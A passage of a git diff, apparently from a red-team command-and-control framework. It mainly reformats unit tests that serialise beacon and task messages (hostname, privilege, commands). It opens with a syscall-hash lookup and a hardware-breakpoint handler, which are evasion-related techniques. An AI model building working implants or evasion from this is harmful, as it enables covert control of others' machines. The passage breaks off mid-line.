*GetInstance(); + + // need to be sorted to be able to get the syscall number from the entry index + DWORD getSyscallNumber(DWORD hash) + { + for(int i=0; iExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) - { - BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32", TRUE, NULL), (PCHAR)"GetProcessVersion", 0); - if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) - { + if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) + { + BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32", TRUE, NULL), (PCHAR)"GetProcessVersion", 0); + if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress) + { std::cout << "Hello from GetProcessVersion " << std::endl; - ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer - } - return EXCEPTION_CONTINUE_EXECUTION; - } - return EXCEPTION_CONTINUE_SEARCH; + ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer + } + return EXCEPTION_CONTINUE_EXECUTION; + } + return EXCEPTION_CONTINUE_SEARCH; } @@ -29,7 +29,7 @@ int main() int indexHWBP = 0; HANDLE bp; - set_hwbp(GetCurrentThread(), baseAddress, hanlderToTrigger, indexHWBP, &bp); + set_hwbp(GetCurrentThread(), baseAddress, hanlderToTrigger, indexHWBP, &bp); std::cout << "bp " << bp << std::endl; diff --git a/modules/ModuleCmd/tests/testsModuleCmd.cpp b/modules/ModuleCmd/tests/testsModuleCmd.cpp index 862649f..9a6707c 100644 --- a/modules/ModuleCmd/tests/testsModuleCmd.cpp +++ b/modules/ModuleCmd/tests/testsModuleCmd.cpp @@ -11,600 +11,600 @@ using namespace std; int multiTests() { - std::queue m_tasks; + std::queue m_tasks; - // - // MultiBundleC2Message - // - std::cout << "MultiBundleC2Message" << std::endl; - MultiBundleC2Message multiBundleC2Message; + // + // MultiBundleC2Message + // + std::cout << "MultiBundleC2Message" << std::endl; + MultiBundleC2Message multiBundleC2Message; - // - // BundleC2Message - // - std::cout << "BundleC2Message" << std::endl; - BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); + // + // BundleC2Message + // + std::cout << "BundleC2Message" << std::endl; + BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); - std::string beaconHash = "SUPERHASH6589852-df"; - std::string hostname = "848565-hostn"; - std::string username = "Admin"; - std::string arch = "toto-85x65"; - std::string privilege = "ADMINISTRATOR"; - std::string os = "linux-574f87_gogo"; + std::string beaconHash = "SUPERHASH6589852-df"; + std::string hostname = "848565-hostn"; + std::string username = "Admin"; + std::string arch = "toto-85x65"; + std::string privilege = "ADMINISTRATOR"; + std::string os = "linux-574f87_gogo"; - bundleC2Message->set_beaconhash(beaconHash); - bundleC2Message->set_hostname(hostname); - bundleC2Message->set_username(username); - bundleC2Message->set_arch(arch); - bundleC2Message->set_privilege(privilege); - bundleC2Message->set_os(os); + bundleC2Message->set_beaconhash(beaconHash); + bundleC2Message->set_hostname(hostname); + bundleC2Message->set_username(username); + bundleC2Message->set_arch(arch); + bundleC2Message->set_privilege(privilege); + bundleC2Message->set_os(os); - std::cout << "BundleC2Message x 10" << std::endl; - for(int i=0; i<10; i++) - { + std::cout << "BundleC2Message x 10" << std::endl; + for(int i=0; i<10; i++) + { - BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); + BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); - std::string beaconHash = "SUPERHASH6589852-df"; - std::string hostname = "848565-hostn"; - std::string username = "Admin"; - std::string arch = "toto-85x65"; - std::string privilege = "ADMINISTRATOR"; - std::string os = "linux-574f87_gogo"; + std::string beaconHash = "SUPERHASH6589852-df"; + std::string hostname = "848565-hostn"; + std::string username = "Admin"; + std::string arch = "toto-85x65"; + std::string privilege = "ADMINISTRATOR"; + std::string os = "linux-574f87_gogo"; - bundleC2Message->set_beaconhash(beaconHash); - bundleC2Message->set_hostname(hostname); - bundleC2Message->set_username(username); - bundleC2Message->set_arch(arch); - bundleC2Message->set_privilege(privilege); - bundleC2Message->set_os(os); - } + bundleC2Message->set_beaconhash(beaconHash); + bundleC2Message->set_hostname(hostname); + bundleC2Message->set_username(username); + bundleC2Message->set_arch(arch); + bundleC2Message->set_privilege(privilege); + bundleC2Message->set_os(os); + } - // - // C2Message - // - std::cout << "C2Message" << std::endl; - { - C2Message* c2Message = bundleC2Message->add_c2messages(); + // + // C2Message + // + std::cout << "C2Message" << std::endl; + { + C2Message* c2Message = bundleC2Message->add_c2messages(); - std::string cmd = "run ls /tmp"; - // std::string inputFile = "C:\\Users\\CyberVuln\\Desktop\\Project\\ExplorationC2\\build\\bin\\ListDirectory.dll"; - // std::ifstream input(inputFile, std::ios::binary); - // std::string buffer(std::istreambuf_iterator(input), {}); + std::string cmd = "run ls /tmp"; + // std::string inputFile = "C:\\Users\\CyberVuln\\Desktop\\Project\\ExplorationC2\\build\\bin\\ListDirectory.dll"; + // std::ifstream input(inputFile, std::ios::binary); + // std::string buffer(std::istreambuf_iterator(input), {}); - std::string buffer = "sddfsgvdfhgdfgdf"; + std::string buffer = "sddfsgvdfhgdfgdf"; - c2Message->set_cmd(cmd); - c2Message->set_data(buffer.data(), buffer.size()); + c2Message->set_cmd(cmd); + c2Message->set_data(buffer.data(), buffer.size()); - std::string stringSerialized; - c2Message->SerializeToString(&stringSerialized); + std::string stringSerialized; + c2Message->SerializeToString(&stringSerialized); - C2Message c2MessageNew; - c2MessageNew.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + C2Message c2MessageNew; + c2MessageNew.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - if (c2Message->data() == buffer && buffer == c2MessageNew.data()) - std::cout << "[+] OK" << std::endl; - else - std::cout << "[-] KO" << std::endl; - } - - std::cout << "C2Message x 10" << std::endl; - for(int i=0; i<10; i++) - { - C2Message* c2Message = bundleC2Message->add_c2messages(); + if (c2Message->data() == buffer && buffer == c2MessageNew.data()) + std::cout << "[+] OK" << std::endl; + else + std::cout << "[-] KO" << std::endl; + } + + std::cout << "C2Message x 10" << std::endl; + for(int i=0; i<10; i++) + { + C2Message* c2Message = bundleC2Message->add_c2messages(); - std::string cmd = "run ls /tmp"; - std::string buffer = "sddfsgvdfhgdfgdf"; + std::string cmd = "run ls /tmp"; + std::string buffer = "sddfsgvdfhgdfgdf"; - c2Message->set_cmd(cmd); - c2Message->set_data(buffer.data(), buffer.size()); + c2Message->set_cmd(cmd); + c2Message->set_data(buffer.data(), buffer.size()); - std::cout << "bundleC2Message.c2messages(i).cmd() " << bundleC2Message->c2messages(i).cmd() << std::endl; - std::cout << "multiBundleC2Message.bundleC2Message(0)->c2messages(i).cmd() " << multiBundleC2Message.bundlec2messages(0)->c2messages(i).cmd() << std::endl; + std::cout << "bundleC2Message.c2messages(i).cmd() " << bundleC2Message->c2messages(i).cmd() << std::endl; + std::cout << "multiBundleC2Message.bundleC2Message(0)->c2messages(i).cmd() " << multiBundleC2Message.bundlec2messages(0)->c2messages(i).cmd() << std::endl; - C2Message c2Message2 = bundleC2Message->c2messages(i); - m_tasks.push(c2Message2); - } + C2Message c2Message2 = bundleC2Message->c2messages(i); + m_tasks.push(c2Message2); + } - // - // BundleC2Message - // - std::cout << "[+] BundleC2Message SerializeToString" << std::endl; - std::string stringSerialized; - bundleC2Message->SerializeToString(&stringSerialized); + // + // BundleC2Message + // + std::cout << "[+] BundleC2Message SerializeToString" << std::endl; + std::string stringSerialized; + bundleC2Message->SerializeToString(&stringSerialized); - std::cout << "[+] BundleC2Message ParseFromArray" << std::endl; - BundleC2Message bundleC2Message2; - bundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + std::cout << "[+] BundleC2Message ParseFromArray" << std::endl; + BundleC2Message bundleC2Message2; + bundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - // - // MultiBundleC2Message - // - std::cout << "[+] MultiBundleC2Message SerializeToString" << std::endl; - std::string stringSerialized2; - multiBundleC2Message.SerializeToString(&stringSerialized2); + // + // MultiBundleC2Message + // + std::cout << "[+] MultiBundleC2Message SerializeToString" << std::endl; + std::string stringSerialized2; + multiBundleC2Message.SerializeToString(&stringSerialized2); - std::cout << "[+] MultiBundleC2Message ParseFromArray" << std::endl; - MultiBundleC2Message multiBundleC2Message2; - multiBundleC2Message2.ParseFromArray(stringSerialized2.data(), stringSerialized2.size()); - - // - // checker - // - std::cout << "bundlec2messages_size " << multiBundleC2Message.bundlec2messages_size() << std::endl; - std::cout << "bundlec2messages_size " << multiBundleC2Message2.bundlec2messages_size() << std::endl; + std::cout << "[+] MultiBundleC2Message ParseFromArray" << std::endl; + MultiBundleC2Message multiBundleC2Message2; + multiBundleC2Message2.ParseFromArray(stringSerialized2.data(), stringSerialized2.size()); + + // + // checker + // + std::cout << "bundlec2messages_size " << multiBundleC2Message.bundlec2messages_size() << std::endl; + std::cout << "bundlec2messages_size " << multiBundleC2Message2.bundlec2messages_size() << std::endl; - std::cout << "bundlec2messages(0).beaconhash() " << multiBundleC2Message2.bundlec2messages(0)->beaconhash() << std::endl; - std::cout << "bundlec2messages(0).c2messages(0).cmd() " << multiBundleC2Message2.bundlec2messages(0)->c2messages(0).cmd() << std::endl; + std::cout << "bundlec2messages(0).beaconhash() " << multiBundleC2Message2.bundlec2messages(0)->beaconhash() << std::endl; + std::cout << "bundlec2messages(0).c2messages(0).cmd() " << multiBundleC2Message2.bundlec2messages(0)->c2messages(0).cmd() << std::endl; - return 0; + return 0; } int unitTests() { - // - // MultiBundleC2Message - // - std::cout << "MultiBundleC2Message" << std::endl; - MultiBundleC2Message multiBundleC2Message; + // + // MultiBundleC2Message + // + std::cout << "MultiBundleC2Message" << std::endl; + MultiBundleC2Message multiBundleC2Message; - // - // BundleC2Message - // - std::cout << "BundleC2Message" << std::endl; - BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); + // + // BundleC2Message + // + std::cout << "BundleC2Message" << std::endl; + BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); - std::string beaconHash = "SUPERHASH6589852-df"; - std::string hostname = "848565-hostn"; - std::string username = "Admin"; - std::string arch = "toto-85x65"; - std::string privilege = "ADMINISTRATOR"; - std::string os = "linux-574f87_gogo"; + std::string beaconHash = "SUPERHASH6589852-df"; + std::string hostname = "848565-hostn"; + std::string username = "Admin"; + std::string arch = "toto-85x65"; + std::string privilege = "ADMINISTRATOR"; + std::string os = "linux-574f87_gogo"; - bundleC2Message->set_beaconhash(beaconHash); - bundleC2Message->set_hostname(hostname); - bundleC2Message->set_username(username); - bundleC2Message->set_arch(arch); - bundleC2Message->set_privilege(privilege); - bundleC2Message->set_os(os); + bundleC2Message->set_beaconhash(beaconHash); + bundleC2Message->set_hostname(hostname); + bundleC2Message->set_username(username); + bundleC2Message->set_arch(arch); + bundleC2Message->set_privilege(privilege); + bundleC2Message->set_os(os); - C2Message* c2Message = bundleC2Message->add_c2messages(); + C2Message* c2Message = bundleC2Message->add_c2messages(); - std::string cmd = "testCmd"; - std::string buffer = ""; + std::string cmd = "testCmd"; + std::string buffer = ""; #ifdef __linux__ std::ifstream input("/bin/cat", std::ios::binary); #elif _WIN32 std::ifstream input("C:\\Windows\\System32\\calc.exe", std::ios::binary); #endif - - if( input ) - { - std::string fileContent(std::istreambuf_iterator(input), {}); - buffer=fileContent; - } + + if( input ) + { + std::string fileContent(std::istreambuf_iterator(input), {}); + buffer=fileContent; + } - c2Message->set_cmd(cmd); - c2Message->set_data(buffer.data(), buffer.size()); + c2Message->set_cmd(cmd); + c2Message->set_data(buffer.data(), buffer.size()); - // - // c2Message - // - std::cout << "[+] c2Message" << std::endl; - std::string stringSerialized; - std::cout << "[+] c2Message SerializeToString" << std::endl; - c2Message->SerializeToString(&stringSerialized); + // + // c2Message + // + std::cout << "[+] c2Message" << std::endl; + std::string stringSerialized; + std::cout << "[+] c2Message SerializeToString" << std::endl; + c2Message->SerializeToString(&stringSerialized); - C2Message c2Message2; - std::cout << "[+] c2Message ParseFromArray" << std::endl; - c2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + C2Message c2Message2; + std::cout << "[+] c2Message ParseFromArray" << std::endl; + c2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - std::string stringSerialized2; - c2Message2.SerializeToString(&stringSerialized2); + std::string stringSerialized2; + c2Message2.SerializeToString(&stringSerialized2); - if(stringSerialized!=stringSerialized2) - { - std::cout << "[-] c2Message" << std::endl; - exit(0); - } + if(stringSerialized!=stringSerialized2) + { + std::cout << "[-] c2Message" << std::endl; + exit(0); + } - // - // BundleC2Message - // - std::cout << "[+] BundleC2Message" << std::endl; - std::cout << "[+] BundleC2Message SerializeToString" << std::endl; - bundleC2Message->SerializeToString(&stringSerialized); + // + // BundleC2Message + // + std::cout << "[+] BundleC2Message" << std::endl; + std::cout << "[+] BundleC2Message SerializeToString" << std::endl; + bundleC2Message->SerializeToString(&stringSerialized); - std::cout << "[+] BundleC2Message ParseFromArray" << std::endl; - BundleC2Message bundleC2Message2; - bundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + std::cout << "[+] BundleC2Message ParseFromArray" << std::endl; + BundleC2Message bundleC2Message2; + bundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - bundleC2Message2.SerializeToString(&stringSerialized2); + bundleC2Message2.SerializeToString(&stringSerialized2); - if(stringSerialized!=stringSerialized2) - { - std::cout << "[-] BundleC2Message" << std::endl; - exit(0); - } + if(stringSerialized!=stringSerialized2) + { + std::cout << "[-] BundleC2Message" << std::endl; + exit(0); + } - // - // MultiBundleC2Message - // - std::cout << "[+] MultiBundleC2Message" << std::endl; - std::cout << "[+] MultiBundleC2Message SerializeToString" << std::endl; - multiBundleC2Message.SerializeToString(&stringSerialized); + // + // MultiBundleC2Message + // + std::cout << "[+] MultiBundleC2Message" << std::endl; + std::cout << "[+] MultiBundleC2Message SerializeToString" << std::endl; + multiBundleC2Message.SerializeToString(&stringSerialized); - std::cout << "[+] MultiBundleC2Message ParseFromArray" << std::endl; - MultiBundleC2Message multiBundleC2Message2; - multiBundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + std::cout << "[+] MultiBundleC2Message ParseFromArray" << std::endl; + MultiBundleC2Message multiBundleC2Message2; + multiBundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - multiBundleC2Message2.SerializeToString(&stringSerialized2); + multiBundleC2Message2.SerializeToString(&stringSerialized2); - if(stringSerialized!=stringSerialized2) - { - std::cout << "[-] MultiBundleC2Message" << std::endl; - exit(0); - } + if(stringSerialized!=stringSerialized2) + { + std::cout << "[-] MultiBundleC2Message" << std::endl; + exit(0); + } - std::cout << "[+] Data" << std::endl; - for (int k = 0; k < multiBundleC2Message2.bundlec2messages_size(); k++) - { - BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); - for (int j = 0; j < bundleC2Message->c2messages_size(); j++) - { - const C2Message& c2Message = bundleC2Message->c2messages(j); + std::cout << "[+] Data" << std::endl; + for (int k = 0; k < multiBundleC2Message2.bundlec2messages_size(); k++) + { + BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); + for (int j = 0; j < bundleC2Message->c2messages_size(); j++) + { + const C2Message& c2Message = bundleC2Message->c2messages(j); - if(c2Message.data()!=buffer) - { - std::cout << "[-] Data" << std::endl; - exit(0); - } - } - } + if(c2Message.data()!=buffer) + { + std::cout << "[-] Data" << std::endl; + exit(0); + } + } + } - return 0; + return 0; } int unitTestsC2Message() { - - { - C2Message c2Message; - c2Message.set_instruction("instruction"); - c2Message.set_cmd("cmd"); - c2Message.set_returnvalue("returnValue"); - c2Message.set_inputfile("inputFile"); - c2Message.set_outputfile("outputFile"); - std::string buffer = "buffer"; - c2Message.set_data(buffer.data(), buffer.size()); - c2Message.set_args("args"); - c2Message.set_pid(158); + + { + C2Message c2Message; + c2Message.set_instruction("instruction"); + c2Message.set_cmd("cmd"); + c2Message.set_returnvalue("returnValue"); + c2Message.set_inputfile("inputFile"); + c2Message.set_outputfile("outputFile"); + std::string buffer = "buffer"; + c2Message.set_data(buffer.data(), buffer.size()); + c2Message.set_args("args"); + c2Message.set_pid(158); - std::string stringSerialized; - c2Message.SerializeToString(&stringSerialized); - } + std::string stringSerialized; + c2Message.SerializeToString(&stringSerialized); + } - { - C2Message c2Message; + { + C2Message c2Message; - c2Message.set_instruction("sleep"); - int sleepTimeSec=5; - c2Message.set_cmd(std::to_string(sleepTimeSec)); - c2Message.set_returnvalue(std::to_string(sleepTimeSec)); + c2Message.set_instruction("sleep"); + int sleepTimeSec=5; + c2Message.set_cmd(std::to_string(sleepTimeSec)); + c2Message.set_returnvalue(std::to_string(sleepTimeSec)); - std::string stringSerialized; - std::cout << "2" << std::endl; - c2Message.SerializeToString(&stringSerialized); + std::string stringSerialized; + std::cout << "2" << std::endl; + c2Message.SerializeToString(&stringSerialized); - C2Message c2Message2; - std::cout << "3" << std::endl; - c2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + C2Message c2Message2; + std::cout << "3" << std::endl; + c2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - std::cout << stringSerialized << std::endl; - } + std::cout << stringSerialized << std::endl; + } - return 0; + return 0; } int unitTestsMultiBundleC2Message() { - // - // MultiBundleC2Message - // - std::cout << "MultiBundleC2Message" << std::endl; - MultiBundleC2Message multiBundleC2Message; + // + // MultiBundleC2Message + // + std::cout << "MultiBundleC2Message" << std::endl; + MultiBundleC2Message multiBundleC2Message; - // - // BundleC2Message - // - std::cout << "BundleC2Message" << std::endl; - BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); + // + // BundleC2Message + // + std::cout << "BundleC2Message" << std::endl; + BundleC2Message* bundleC2Message = multiBundleC2Message.add_bundlec2messages(); - std::string beaconHash = "SUPERHASH6589852-df"; - std::string hostname = "848565-hostn"; - std::string username = "Admin"; - std::string arch = "toto-85x65"; - std::string privilege = "ADMINISTRATOR"; - std::string os = "linux-574f87_gogo"; + std::string beaconHash = "SUPERHASH6589852-df"; + std::string hostname = "848565-hostn"; + std::string username = "Admin"; + std::string arch = "toto-85x65"; + std::string privilege = "ADMINISTRATOR"; + std::string os = "linux-574f87_gogo"; - bundleC2Message->set_beaconhash(beaconHash); - bundleC2Message->set_hostname(hostname); - bundleC2Message->set_username(username); - bundleC2Message->set_arch(arch); - bundleC2Message->set_privilege(privilege); - bundleC2Message->set_os(os); + bundleC2Message->set_beaconhash(beaconHash); + bundleC2Message->set_hostname(hostname); + bundleC2Message->set_username(username); + bundleC2Message->set_arch(arch); + bundleC2Message->set_privilege(privilege); + bundleC2Message->set_os(os); - C2Message* c2Message = bundleC2Message->add_c2messages(); + C2Message* c2Message = bundleC2Message->add_c2messages(); - std::string cmd = "testCmd"; - std::string buffer = "buffer"; + std::string cmd = "testCmd"; + std::string buffer = "buffer"; - c2Message->set_cmd(cmd); - c2Message->set_data(buffer.data(), buffer.size()); + c2Message->set_cmd(cmd); + c2Message->set_data(buffer.data(), buffer.size()); - // - // c2Message - // - std::string stringSerialized; - c2Message->SerializeToString(&stringSerialized); + // + // c2Message + // + std::string stringSerialized; + c2Message->SerializeToString(&stringSerialized); - C2Message c2Message2; - c2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + C2Message c2Message2; + c2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - std::string stringSerialized2; - c2Message2.SerializeToString(&stringSerialized2); + std::string stringSerialized2; + c2Message2.SerializeToString(&stringSerialized2); - // - // BundleC2Message - // - bundleC2Message->SerializeToString(&stringSerialized); + // + // BundleC2Message + // + bundleC2Message->SerializeToString(&stringSerialized); - BundleC2Message bundleC2Message2; - bundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); + BundleC2Message bundleC2Message2; + bundleC2Message2.ParseFromArray(stringSerialized.data(), stringSerialized.size()); - // - // MultiBundleC2Message - // - multiBundleC2Message.SerializeToString(&stringSerialized); + // + // MultiBundleC2Message + // + multiBundleC2Message.SerializeToString(&stringSerialized); - std::cout << stringSerialized << std::endl; + std::cout << stringSerialized << std::endl; - std::cout << "[+] C++" << std::endl; - { - MultiBundleC2Message multiBundleC2MessageTest; - std::string test = stringSerialized; - - json my_json = json::parse(test); + std::cout << "[+] C++" << std::endl; + { + MultiBundleC2Message multiBundleC2MessageTest; + std::string test = stringSerialized; + + json my_json = json::parse(test); - std::cout << "my_json" << my_json << std::endl; + std::cout << "my_json" << my_json << std::endl; - std::cout << "Iterator" << std::endl; + std::cout << "Iterator" << std::endl; - for (json::iterator it = my_json.begin(); it != my_json.end(); ++it) - { - std::string json_str = (*it).dump(); + for (json::iterator it = my_json.begin(); it != my_json.end(); ++it) + { + std::string json_str = (*it).dump(); - auto bundleC2MessageJson = json::parse(json_str); - // std::string m_beaconHash = bundleC2MessageJson["beaconHash"].get(); - // std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); - // std::string m_username = bundleC2MessageJson["username"].get(); - // std::string m_hostname = bundleC2MessageJson["hostname"].get(); - // std::string m_arch = bundleC2MessageJson["arch"].get(); - // std::string m_privilege = bundleC2MessageJson["privilege"].get(); - // std::string m_os = bundleC2MessageJson["os"].get(); - // auto sessions = bundleC2MessageJson["sessions"]; - } + auto bundleC2MessageJson = json::parse(json_str); + // std::string m_beaconHash = bundleC2MessageJson["beaconHash"].get(); + // std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); + // std::string m_username = bundleC2MessageJson["username"].get(); + // std::string m_hostname = bundleC2MessageJson["hostname"].get(); + // std::string m_arch = bundleC2MessageJson["arch"].get(); + // std::string m_privilege = bundleC2MessageJson["privilege"].get(); + // std::string m_os = bundleC2MessageJson["os"].get(); + // auto sessions = bundleC2MessageJson["sessions"]; + } - std::cout << "For" << std::endl; + std::cout << "For" << std::endl; - for(int i=0; i(); - // std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); - // std::string m_username = bundleC2MessageJson["username"].get(); - // std::string m_hostname = bundleC2MessageJson["hostname"].get(); - // std::string m_arch = bundleC2MessageJson["arch"].get(); - // std::string m_privilege = bundleC2MessageJson["privilege"].get(); - // std::string m_os = bundleC2MessageJson["os"].get(); - // auto sessions = bundleC2MessageJson["sessions"]; - } + // std::string m_beaconHash = bundleC2MessageJson["beaconHash"].get(); + // std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); + // std::string m_username = bundleC2MessageJson["username"].get(); + // std::string m_hostname = bundleC2MessageJson["hostname"].get(); + // std::string m_arch = bundleC2MessageJson["arch"].get(); + // std::string m_privilege = bundleC2MessageJson["privilege"].get(); + // std::string m_os = bundleC2MessageJson["os"].get(); + // auto sessions = bundleC2MessageJson["sessions"]; + } - std::cout << "ParseFromArray" << std::endl; + std::cout << "ParseFromArray" << std::endl; - multiBundleC2MessageTest.ParseFromArray(test.data(), test.size()); - for (int k = 0; k < multiBundleC2MessageTest.bundlec2messages_size(); k++) - { - BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); - for (int j = 0; j < bundleC2Message->c2messages_size(); j++) - { - const C2Message& c2Message = bundleC2Message->c2messages(j); - } - } + multiBundleC2MessageTest.ParseFromArray(test.data(), test.size()); + for (int k = 0; k < multiBundleC2MessageTest.bundlec2messages_size(); k++) + { + BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); + for (int j = 0; j < bundleC2Message->c2messages_size(); j++) + { + const C2Message& c2Message = bundleC2Message->c2messages(j); + } + } - } + } - // - // Nim - // - std::cout << "[+] nim" << std::endl; - { - MultiBundleC2Message multiBundleC2MessageTest; - std::string test = "[{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; + // + // Nim + // + std::cout << "[+] nim" << std::endl; + { + MultiBundleC2Message multiBundleC2MessageTest; + std::string test = "[{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; - json my_json = json::parse(test); + json my_json = json::parse(test); - std::cout << my_json.size() << std::endl; - std::cout << my_json << std::endl; + std::cout << my_json.size() << std::endl; + std::cout << my_json << std::endl; - std::cout << "Iterator" << std::endl; + std::cout << "Iterator" << std::endl; - for (json::iterator it = my_json.begin(); it != my_json.end(); ++it) - { - std::string json_str = (*it).dump(); + for (json::iterator it = my_json.begin(); it != my_json.end(); ++it) + { + std::string json_str = (*it).dump(); - std::cout << "json_str " << json_str << std::endl; + std::cout << "json_str " << json_str << std::endl; - auto bundleC2MessageJson = json::parse(json_str); + auto bundleC2MessageJson = json::parse(json_str); - std::cout << "bundleC2MessageJson " << bundleC2MessageJson << std::endl; + std::cout << "bundleC2MessageJson " << bundleC2MessageJson << std::endl; - std::string m_beaconHash = bundleC2MessageJson["beaconHash"].get(); - std::cout << "m_beaconHash " << m_beaconHash << std::endl; + std::string m_beaconHash = bundleC2MessageJson["beaconHash"].get(); + std::cout << "m_beaconHash " << m_beaconHash << std::endl; - std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); - std::string m_username = bundleC2MessageJson["username"].get(); - std::string m_hostname = bundleC2MessageJson["hostname"].get(); - std::string m_arch = bundleC2MessageJson["arch"].get(); - std::string m_privilege = bundleC2MessageJson["privilege"].get(); - std::string m_os = bundleC2MessageJson["os"].get(); - auto sessions = bundleC2MessageJson["sessions"]; - } + std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); + std::string m_username = bundleC2MessageJson["username"].get(); + std::string m_hostname = bundleC2MessageJson["hostname"].get(); + std::string m_arch = bundleC2MessageJson["arch"].get(); + std::string m_privilege = bundleC2MessageJson["privilege"].get(); + std::string m_os = bundleC2MessageJson["os"].get(); + auto sessions = bundleC2MessageJson["sessions"]; + } - std::cout << "For" << std::endl; + std::cout << "For" << std::endl; - for(int i=0; i(); - std::cout << "m_beaconHash " << m_beaconHash << std::endl; + std::string m_beaconHash = bundleC2MessageJson["beaconHash"].get(); + std::cout << "m_beaconHash " << m_beaconHash << std::endl; - std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); - std::string m_username = bundleC2MessageJson["username"].get(); - std::string m_hostname = bundleC2MessageJson["hostname"].get(); - std::string m_arch = bundleC2MessageJson["arch"].get(); - std::string m_privilege = bundleC2MessageJson["privilege"].get(); - std::string m_os = bundleC2MessageJson["os"].get(); - auto sessions = bundleC2MessageJson["sessions"]; - } + std::string m_listenerHash = bundleC2MessageJson["listenerHash"].get(); + std::string m_username = bundleC2MessageJson["username"].get(); + std::string m_hostname = bundleC2MessageJson["hostname"].get(); + std::string m_arch = bundleC2MessageJson["arch"].get(); + std::string m_privilege = bundleC2MessageJson["privilege"].get(); + std::string m_os = bundleC2MessageJson["os"].get(); + auto sessions = bundleC2MessageJson["sessions"]; + } - std::cout << "ParseFromArray" << std::endl; + std::cout << "ParseFromArray" << std::endl; - multiBundleC2MessageTest.ParseFromArray(test.data(), test.size()); + multiBundleC2MessageTest.ParseFromArray(test.data(), test.size()); - std::cout << "bundlec2messages_size " << multiBundleC2MessageTest.bundlec2messages_size() << std::endl; + std::cout << "bundlec2messages_size " << multiBundleC2MessageTest.bundlec2messages_size() << std::endl; - for (int k = 0; k < multiBundleC2MessageTest.bundlec2messages_size(); k++) - { - std::cout << "c2messages_size " << bundleC2Message->c2messages_size() << std::endl; + for (int k = 0; k < multiBundleC2MessageTest.bundlec2messages_size(); k++) + { + std::cout << "c2messages_size " << bundleC2Message->c2messages_size() << std::endl; - BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); + BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); - std::cout << "beaconhash " << bundleC2Message->beaconhash() << std::endl; + std::cout << "beaconhash " << bundleC2Message->beaconhash() << std::endl; - for (int j = 0; j < bundleC2Message->c2messages_size(); j++) - { - const C2Message& c2Message = bundleC2Message->c2messages(j); + for (int j = 0; j < bundleC2Message->c2messages_size(); j++) + { + const C2Message& c2Message = bundleC2Message->c2messages(j); - } - } + } + } - } + } - return 0; + return 0; } int malformedInputTests() { - std::cout << " - MultiBundleC2Message" << std::endl; - { - MultiBundleC2Message multiBundleC2Message; + std::cout << " - MultiBundleC2Message" << std::endl; + { + MultiBundleC2Message multiBundleC2Message; - std::string test = "[{\"arch\":\"x64\",\"beaconHash\":\"CakWQnqmA3b22u1tYCwhXBkTY828nINz\",\"hostname\":\"toto\",\"listenerHash\":\"\",\"os\":\"Linux\",\"privilege\":\"MEDIUM\",\"sessions\":[{\"args\":\"\",\"cmd\":\"\",\"data\":\"\",\"inputFile\":\"\",\"instruction\":\"\",\"outputFile\":\"\",\"pid\":-1,\"returnValue\":\"\"}],\"username\":\"nim\"}]"; - multiBundleC2Message.ParseFromArray(test.data(), test.size()); - } - { - MultiBundleC2Message multiBundleC2Message; + std::string test = 